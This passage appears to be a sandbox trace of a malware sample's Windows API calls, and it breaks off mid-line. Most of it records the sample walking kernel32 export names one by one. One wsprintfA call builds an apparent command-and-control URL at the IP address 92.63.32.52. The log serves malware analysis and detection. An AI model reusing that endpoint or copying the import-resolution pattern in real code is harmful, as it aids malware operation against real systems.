19 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.133] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.133] lstrlenA (lpString="COPYFILEW") returned 9 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.133] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.133] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.133] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.133] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.133] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.134] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.134] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.134] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.134] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.134] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.134] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.134] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.134] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.134] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.134] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.134] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.134] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.134] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.134] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.134] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.134] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.134] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.134] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.134] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.134] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.134] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.135] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.135] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.135] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.135] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.135] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.135] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.135] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.135] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.135] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.135] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.135] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.135] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.135] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.135] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.135] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.135] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.135] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.135] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.135] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.135] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.135] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.136] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.136] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.136] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.136] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.136] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.136] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.136] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.136] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.136] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.136] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.136] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.136] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.136] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.136] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.136] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.136] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.136] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.136] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.136] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.136] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.136] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.136] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.137] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.137] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.137] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.137] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.137] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.137] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.137] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.138] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0118.138] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0118.138] GetTickCount () returned 0x32f9c [0118.138] GetTickCount () returned 0x32f9c [0118.138] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0118.139] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.139] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0118.140] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.32.52/webauth/update/kq.aspx?qt=7ya76cx&r=s5ged584a4") returned 65 [0118.140] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0118.140] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0118.140] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0118.140] VirtualAlloc (lpAddress=0x0, dwSize=0x3b, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0118.141] lstrlenA (lpString="kernel32.dll") returned 12 [0118.141] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.141] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.141] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.141] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.141] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.141] lstrlenA (lpString="ADDATOMA") returned 8 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.141] lstrlenA (lpString="ADDATOMW") returned 8 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.141] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.141] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.141] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.141] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.141] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.142] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.142] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.142] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.142] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.142] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.142] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.142] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.142] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.142] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.142] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.142] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.142] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.142] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.142] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.142] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.142] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.142] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.142] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.142] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.142] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.143] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.143] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.143] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.143] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.143] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.143] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.143] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.143] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.143] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.143] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.143] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.143] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.143] lstrlenA 